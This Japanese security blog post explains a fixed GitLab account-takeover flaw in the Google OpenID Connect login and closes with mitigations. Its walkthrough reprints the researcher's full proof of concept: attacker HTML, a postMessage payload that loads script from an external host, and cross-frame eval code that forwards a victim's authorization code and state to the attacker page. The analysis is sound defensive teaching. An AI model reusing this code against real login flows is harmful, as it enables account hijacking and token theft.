GMO Flatt Security株式会社の公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

こんにちは。株式会社Flatt Securityセキュリティエンジニアの森(@ei01241)です。
最近は認証や認可に際してOpenID Connectを使うWebサービスが増えていると思います。「Googleアカウント/Twitter/Facebookでログイン」などのUIはあらゆるサービスで見かけると思います。しかし、OpenID Connectの仕様をよく理解せずに不適切な実装を行うと脆弱性を埋め込むことがあります。
そこで、突然ですがクイズです。以下のTweetをご覧ください。
⚡️突然ですがクイズです!⚡️
— 株式会社Flatt Security (@flatt_security)2023年7月23日
以下の画面はOAuth 2.0 Best Practice上は推奨されないような実装になっており、潜在的リスクがあります。https://t.co/bXGWktj5fx
どのようなリスクが潜んでいるか、ぜひ考えてみてください。このリスクを用いた攻撃についての解説記事はブログで明日公開します!pic.twitter.com/SsyFdnp1wm
考えられるリスクとして網羅的ではないかもしれませんが、こちらのクイズで想定していた解答すなわち潜在的なリスクは以下のようなものでした。
これらの潜在的リスクがどのようにして実際の攻撃につながっていくのでしょうか。
そこで本稿では、GitLabで発見された同様の脆弱性の内容を考察することで、OpenID Connectを利用する際に気を付けるべき点とその緩和策について、セキュリティの観点から記述していきます。
本稿の内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。
本脆弱性は、罠サイトに表示されたGitLabのログインリンクを開き、Googleアカウントを用いてログインすると、攻撃者にGitLabのアカウントが乗っ取られる脆弱性になります。
本脆弱性を理解するために必要な前提知識は以下の3つになります。
そして、以下の3つの脆弱性を組み合わせることで、アカウント乗っ取りが成立しています。
前提知識の途中で、3つの脆弱性を紹介していきます。
OpenID Connect(以下、OIDCと呼びます)は、OAuth2.0の拡張仕様であり、認証認可のためのアイデンティティーレイヤーです。
(Identity, Authentication) + OAuth 2.0 = OpenID Connect
出典:https://openid.net/connect/faq
本稿においては、紹介する脆弱性を理解するため必要な前提知識や主要なセキュリティ観点を除き、OIDCに関する網羅的な解説は行いません。

上にGoogleにおける認可コードフローのシーケンス図を示します。以下、リライングパーティのことを「RP」と呼びます。また、OpenID Providerのことを「OP」と呼びます。
RPの「Googleでログインする」を押します。ここからOIDCのフローが始まります。
(1) ブラウザからRPにアクセスします。
(2) RPからOPにリダイレクトします。
(3) ブラウザからOPに以下のような形式の認可リクエストを送信します(見やすいように改行を入れています)。
GET /authorize? response_type=code &response_mode=query &client_id=some_client &scope=openid &redirect_uri=https%3A%2F%2Fclient.example.com%2Fcallback &state=DcP7csa3hMlvybERqcieLHrRzKBra HTTP/1.1Host: accounts.google.com
(4) ブラウザとOP間でやりとりし、OPのクレデンシャルを用いてログインします。
(5) OPがブラウザに以下のような形式の認可レスポンスを返します。
HTTP/1.1 302 FoundLocation: https://client.example.com/callback?code=SplxlOBeZQQYbYS6WxSbIA&state=DcP7csa3hMlvybERqcieLHrRzKBra
(6) ブラウザがRPのリダイレクトエンドポイントに対して以下のような形式でリダイレクトします。
GET /authorize? &code=SplxlOBeZQQYbYS6WxSbIA &state=DcP7csa3hMlvybERqcieLHrRzKBra HTTP/1.1Host: client.example.com
(7) RPがOPへ、認可レスポンスに含まれている認可コードをトークンエンドポイントに送信します。
(8) OPからRPへ、認可コードと引き換えにアクセストークンとIDトークンが発行されます。
(9) RPがIDトークンの妥当性を検証します。
(10) RPがUserInfoのプロファイルエンドポイントにリクエストします。
(11) UserInfoからRPにプロファイルが返ってきます。
認可コードフローと合わせて用いられるパラメータであり、CSRF防止のための機構です。GitLabの認可コードフローでも用いられています。
手順3の認可リクエストと手順6のリダイレクトによるリクエストが同じでない場合、攻撃者のアカウントで強制ログインさせるログインCSRF攻撃を受ける可能性があります。そのため、RPは手順2でstateを生成し、手順6のstateと一致しているか検証することで、手順3と手順6のリクエストが同一人物からのものであることを確認できます。つまり、stateの検証はRP側の責務になります。
認可リクエストにてクエリパラメータのresponse_typeを指定することで、認可サーバーに対して、認可レスポンスの何(認可コードやアクセストークンやIDトークン)を(どのタイミングで)返すか指示できます。また、デフォルトではresponse_typeに応じたresponse_modeが決まっています。
認可リクエストにてクエリパラメータのresponse_modeを指定することで、認可サーバーに対して、認可レスポンスをどのような形式で認可コードやアクセストークンやIDトークンを返すか指示できます。
Google OPの場合、response_type=codeの場合は暗黙的にresponse_mode=queryが指定され、response_typeにid_tokenを含む場合(例えば、response_type=code,id_tokenなど)は暗黙的にresponse_mode=fragmentが指定されます。
もし、認可レスポンスが意図しない形式でRPに返ってきた場合、RPは認可レスポンスを正常に処理できずにエラーを返すかもしれません。そして、エラーを返した場合には、URL(JavaScriptの文脈では、URLはlocation.hrefからフラグメントを含めて取得できるため、以下、「location.href」と呼びます)に認可コードなどの機密情報が残留することがあります。このように、「RPが認可レスポンスを正常に扱えずにエラーを返してしまうこと」をnon-happy pathと呼ぶことにします。
GitLabでは、response_type=codeを用いていたため、response_mode=queryを想定した実装を行っていました。そのため、response_type=id_tokenなどの場合のresponse_mode=fragmentを想定しておらず、パラメータが正常にパースされませんでした。その結果、エラーページに遷移した場合に、location.hrefに認可コードが残留しました。
ここまでで、response_typeの切り替えによって認可コードフローがエラーを返した場合に、location.hrefに認可コードが残留することがわかりました。しかし、そのOrigin上でXSSが存在しない限りは、フラグメントも含めてlocation.hrefは取得できません。どうやって攻撃者はlocation.hrefを奪取するのでしょうか?

ここで、少しだけ話を変えます。現代的なアプリケーションでは、あるサイトからiframeでアナリティクスサイトを開くことが一般的になっています。もちろん、エラーページも例外ではありません。gitlab.comではiframeでアナリティクスサイト(gitlab-api.arkoselabs.com)を開き、フレーム間通信することでアナリティクスを実現していました。
ここで一旦、フレーム間通信について復習しましょう。
gitlab.comとiframeで開いたアナリティクスサイトの間での通信ですが、本来であれば、異なるOrigin間ではSOP(Same Origin Policy)によって通信が制限されます。しかし、iframeやwindow.openで開いた親子ウィンドウであれば、異なるOriginであっても、送信側と受信側を適切に設定すれば通信が可能になります。
例えば、親ウィンドウhttps://example.comを送信側として、子フレームhttps://iframe.example.comを受信側とします。親ウィンドウと子フレームはOriginが異なるため、SOPによって通信が制限されています。しかし、送信側と受信側を以下のように設定することで通信が可能になります。
また、受信側は意図したOriginからメッセージを受信しているか検証する必要があります。もし、受信側のOrigin検証に不備が存在した場合には、意図しないOriginからメッセージを受け取り、不正な処理を実行する可能性があります。
親ウィンドウhttps://example.com
<iframesrc="https://iframe.example.com"id="frame"></iframe><script>const payload ="hello";const targetWindow =document.getElementById("frame");window.poc = targetWindow.contentWindow; frame.onload =function(){window.poc.postMessage(payload,"*");// メッセージの送信};</script>
子フレームhttps://iframe.example.com
<script>window.addEventListener("message",// メッセージの受信function(e){ console.log(e);if(e.origin ==="https://example.com"){// Origin検証 console.log(e.data);}else{alert("Message from " + e.origin);}},false);</script>
では、アナリティクスサイトではどのようなフレーム間通信を行っていたのでしょうか?
アナリティクスサイトには、仕様として以下のように親ウィンドウからJavaScriptを読み込ませるコマンドと親ウィンドウのlocation.hrefを返すコマンドが実装されていました。
<script>window.addEventListener("message",function(e){if(e.source !==window.parent){// 親ウィンドウからのメッセージでない場合はエラーを返してリターンするreturn;}if(e.data.type ==="loadJs"){// JavaScriptを読み込ませるコマンド loadScript(e.data.jsUrl);}elseif(e.data.type ==="initConfig"){// 親ウィンドウのlocation.hrefを返すコマンド loadConfig(e.data.config);}});</script>
しかし、ここにはOrigin検証の不備があります。親ウィンドウであれば、任意のOriginからpostMessageを送信できました。つまり、アナリティクスサイトの仕様から、アナリティクスサイトに対して、任意のJavaScriptを読み込ませること(XSS)と親ウィンドウのlocation.hrefを取得することができます。
ただし、このままでは、攻撃者のサイトがiframeで開いたアナリティクスサイトにXSSできるだけで、被害者のエラーページに対して何も影響を及ぼしません。どのようにして被害者のエラーページに影響させればいいのでしょうか?
ここで、攻撃者のサイトと被害者のエラーページを1つのGroupings of Browsing Contextsに含めるテクニックがあります。

Browsing Contextsとは、documentオブジェクトがユーザーに提示される環境のことです。そして、このBrowsing Contextsをiframeやwindow.openで開いたサイトの集合のことをGroupings of Browsing Contextsと言います。また、Groupings of Browsing Contextsに属しておりかつSame Originなサイト間であれば、JavaScriptが実行できる仕様があります。
これを利用すれば、攻撃者のサイトと被害者のエラーページを1つのGroupings of Browsing Contextsに含ませることで、攻撃者のサイトがiframeで開いたアナリティクスサイトのXSSによって、被害者のエラーページがiframeで開いたアナリティクスサイトに対してJavaScriptを実行できることになります。
攻撃者のサイトからiframeで開いたアナリティクスサイトに、XSSを利用してgitlab.comのエラーページを表示するような罠リンクを表示し、この罠リンクを被害者に踏ませることで、
の4つが、1つのGroupings of Browsing Contextsに属することになります。そして、2つ目のサイトと4つ目のサイトはSame Originであるため、2つ目のサイトから4つ目のサイトに対してJavaScriptが実行できます。これを用いて4つ目のアナリティクスサイトに対してアナリティクスサイト仕様のコマンドを利用することでlocation.hrefを取得できます。
さて、ここまでの前提知識をまとめてみましょう。
ここまでの前提知識は以下の通りです。そして、これらを連鎖することによってアカウント乗っ取りを可能にしています。
response_type切り替えによるlocation.hrefへの認可コード残留ここからは、Frans Rosén氏が発見したGitLabの脆弱性の攻撃コードと動画を、弊社で作成したブラウザの挙動やコードの動作の画像を用いて解説します。
Frans Rosén氏の攻撃コードと動画は以下のリンクにあります。
出典:https://gitlab.com/gitlab-org/gitlab/-/issues/362394
この脆弱性は、悪意あるサイトから開いたiframeに仕掛けられた罠リンクで誘導されたGitLabのページで、Googleサインインすることでアカウント乗っ取りされるものです。現時点で、この脆弱性は既に修正済みです。
本脆弱性では、今まで紹介した以下のバグや脆弱性を組み合わせることで、アカウント乗っ取りを可能にしています。
response_type切り替えによるgitlab.comのエラーページに認可コードを含むlocation.hrefが残留するバグ最終的には、以下の図のような手順で攻撃します。なお、fransrosen.comは、以下の説明における「攻撃者のサイト」と対応しています。

大まかな攻撃手順は以下の通りです。
stateを用意するstateを表示するstateを用いて被害者としてログインするでは、それぞれの手順について解説します。
攻撃者自身がGoogleサインインフローを実行し、stateを入手します(この時にサインインを完了するとstateが消費されてしまうため、フローを中断します)。このstateは、後に利用しますが、本脆弱性の本質ではありません。

攻撃者が以下のHTMLをホストします。
<html><style>pre{word-break:break-word;white-space:pre-wrap;}</style><body><divid="start"> Attacker, enter your state when trying to sign in to Google here:<br /><inputid="state"><buttononclick="launch()">Generate a victim page with attacker's state</button></div><divid="fr"></div><script>var inj;function launch(){document.getElementById('fr').innerHTML ='<iframe id="b" name="b" src="https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html?state=' + encodeURIComponent(document.getElementById('state').value) +'" frameborder=0 style="width: 500px; height: 300px"></iframe>';document.getElementById('start').innerHTML =''; injectiframe()}window.onmessage =function(e){if(e.data ==='stopinject'){ console.log('frame injected'); clearInterval(inj)}if(e.data.indexOf('id_token') !==-1){ payload = JSON.parse(e.data); code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D','');document.getElementById('fr').innerHTML ='We have the code + state from Google:<br /><pre>' + code +'</pre>';}}function injectiframe(){ inj = setInterval(function(){ console.log('looking for frame...'); b.postMessage('{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://foo","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://foo","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}},"data":{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js?3","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://gitlab-api.arkoselabs.com/fc/api/sri/","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}}},"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"config","type":"emit"}','*');},500);}</script></body></html>
このHTMLには、以下の機能があります。

攻撃者のサイトがiframeでアナリティクスサイトを開くコードは以下の通りです。
function launch(){document.getElementById('fr').innerHTML ='<iframe id="b" name="b" src="https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html?state=' + encodeURIComponent(document.getElementById('state').value) +'" frameborder=0 style="width: 500px; height: 300px"></iframe>';document.getElementById('start').innerHTML =''; injectiframe()}
iframeで開いたアナリティクスサイトからlocation.hrefを受け取り、攻撃者のサイトに転送するコードは以下の通りです。
window.onmessage =function(e){if (e.data ==='stopinject'){ console.log('frame injected'); clearInterval(inj)}if (e.data.indexOf('id_token') !== -1){ payload = JSON.parse(e.data); code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D','');document.getElementById('fr').innerHTML ='We have the code + state from Google:<br /><pre>' + code +'</pre>';}}

手順3で用意するJavaScriptをiframeで開いたアナリティクスサイトに読み込せるコードは以下の通りです。
function injectiframe(){ inj = setInterval(function(){ console.log('looking for frame...'); b.postMessage('{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://foo","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://foo","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}},"data":{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js?3","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://gitlab-api.arkoselabs.com/fc/api/sri/","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}}},"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"config","type":"emit"}','*');}, 500);}

アナリティクスサイトのOrigin検証不備とXSSを利用して、手順3で用意する攻撃者のホストしたJavaScriptのパスをchallengeApiUrlパラメータに付与することで、攻撃者のJavaScriptを読み込ませます。
"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js"
攻撃者が以下のJavaScriptをホストします。これは攻撃者のサイトからiframeで開いたアナリティクスサイトに読み込ませるJavaScriptです。
var b, x;var state =location.href.substr(location.href.indexOf('state='));document.body.innerHTML ='<a href="#" onclick="b=window.open(\'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?client_id=805818759045-aa9a2emskmnmeii44krng550d2fd44ln.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fgoogle_oauth2%2Fcallback&response_type=code%2cid_token&scope=email%20profile&state=' + state +'&flowName=GeneralOAuthFlow\');">Click here to hijack Google access-token from Gitlab</a>';top.postMessage('stopinject','*');window.onmessage=function(e){top.postMessage(e.data,'*'); b.close();} x = setInterval(function(){if(b && b.frames[1]){ b.frames[1].eval('onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")' ) clearInterval(x)}}, 1000);
このJavaScriptには、以下の機能があります。
evalでJavaScriptを実行するGoogle OPのresponse_type切り替えによるgitlab.comのエラーを利用して、意図的にエラーページに遷移するような罠リンクを被害者に表示するコードは以下の部分です。ここで、手順1で用意した攻撃者のstateが用いられています。また、本来の認可リクエストのresponse_type=codeから、response_type=code,id_tokenに変更されています。
var state =location.href.substr(location.href.indexOf('state='));document.body.innerHTML ='<a href="#" onclick="b=window.open(\'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?client_id=805818759045-aa9a2emskmnmeii44krng550d2fd44ln.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fgoogle_oauth2%2Fcallback&response_type=code%2cid_token&scope=email%20profile&state=' + state +'&flowName=GeneralOAuthFlow\');">Click here to hijack Google access-token from Gitlab</a>';
このJavaScriptには、以下の機能があります。

手順3.1で用意した罠リンクが、攻撃者のサイトがiframeで開いたアナリティクスサイト上で表示されます。

被害者がリンクをクリックすると、Googleアカウントの認証画面が表示されます。被害者がGoogleアカウントのメールアドレスとパスワードを用いてログインします。
OPから認可レスポンスが返ってきますが、認可レスポンスはクエリでなくフラグメントで返ってきているため、GitLabはエラーページを表示します。この時にlocation.hrefに認可コードが残留しています。同時に、被害者のgitlab.comのエラーページがiframeでアナリティクスサイトを開きます。
被害者のgitlab.comのエラーページが、iframeでアナリティクスサイトを開いたことで、b.frames[1]が参照できるようになり、手順3のJavaScriptの条件式がtrueになります。
if(b && b.frames[1]){ b.frames[1].eval('onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")' ) clearInterval(x)}
攻撃者のサイトがiframeで開いたアナリティクスサイトと、被害者のエラーページのgitlab.comがiframeで開いたアナリティクスサイトはGroupings of Browsing ContextsかつSame Originであるため、前者から後者にevalでJavaScriptが実行できます。また、bはaccounts.google.comからgitlab.comのエラーページに遷移したウィンドウを指しており、b.frames[1]はそのエラーページが開いたアナリティクスサイトのiframeです。
b.frames[1].eval('onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")' )
被害者のエラーページのgitlab.comがiframeで開いたアナリティクスサイトで、攻撃者のサイトがiframeで開いたアナリティクスサイトにlocation.hrefを転送するためのonmessageを実行します。
onmessage=function(e){top.opener.postMessage(e.data,"*")};

被害者のgitlab.comのエラーページ.comがiframeで開いたアナリティクスサイトから、親ウィンドウである被害者のgitlab.comのエラーページへpostMessageすると、被害者のgitlab.comのエラーページは認可コードを含んだlocation.hrefを返します。
top.postMessage('{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}',"*")
手順9で用意したonmessageがlocation.hrefを受け取り、攻撃者のサイトが開いたiframeのアナリティクスサイトにlocation.hrefを転送します。
top.opener.postMessage(e.data,"*")
攻撃者のサイトがiframeで開いたアナリティクスサイトがlocation.hrefを受け取り、攻撃者のサイトにlocation.hrefを転送し、その後ウィンドウを閉じます。
window.onmessage=function(e){top.postMessage(e.data,'*'); b.close();}
攻撃者のサイトがlocation.hrefを受け取り、認可コードとstateを表示します(表示することは攻撃をわかりやすくするためであり、攻撃の本質ではありません)。
window.onmessage =function(e){if (e.data.indexOf('id_token') !== -1){ payload = JSON.parse(e.data); code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D','');document.getElementById('fr').innerHTML ='We have the code + state from Google:<br /><pre>' + code +'</pre>';}}
攻撃者は、認可コードとstateを一緒に用いて被害者としてログインできます。以上でアカウント乗っ取りが達成されます。
ここまでの攻撃手順をまとめると以下のような手順になります。
手順1~5
手順6~8
手順9~11
最終的な攻撃手順
本稿で紹介した、「OIDCのnon-happy pathから認可コードを奪取するまでの過程」を一般化した攻撃手順を、Frans Rosén氏は研究ブログの中でdirty dancingと命名しています。
さて、本稿における結論として、dirty dancingを防ぐためにOIDC利用時に気をつけるべき事項についてまとめます。
まず、OIDCにおいては、OPから返ってきた値を検証する責務はRPにあります。また、RPが検証するべきパラメータが複数存在します。そのため、OIDCを利用するのであれば、OIDCの仕様を理解し、自身のサービスで検証するべきパラメータを理解することが必要です。
次に、OIDCのエラーページなどはURLのフラグメントが残らないようにし、サードパーティのiframeなどをできるだけ開かないようにしましょう。
OAuth認可レスポンスと認可エンドポイントの結果としてレンダリングされるページには、第三者のリソースや外部サイトへのリンクを含めるべきではありません(SHOULD NOT)
出典:https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#section-4.2.4
最後に、フレーム間通信においては、Origin検証は受信側の責務です。本脆弱性ではアナリティクスサイト側の不備には対応できませんが、自前で実装したフレーム間通信ではOriginが正確に検証しているか確認しましょう。
OIDCの仕様の理解とセキュリティ機構を用いることはもちろん、こういった脆弱性を生まないよう、日々の開発で注意することも、同じように重要な事項であると言えます。
Flatt Securityではこれらの脆弱性の有無を専門のセキュリティエンジニアが検証するセキュリティ診断サービスを提供しています。仕様・実装に不安のある方はぜひお気軽にお問い合わせください。

上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。
また、Flatt Security はセキュリティに関する様々な発信を行っています。最新情報を見逃さないよう、公式 Twitter のフォローをぜひお願いします!
長くなりましたが、最後までお読みいただきありがとうございました。
引用をストックしました
引用するにはまずログインしてください
引用をストックできませんでした。再度お試しください
限定公開記事のため引用できません。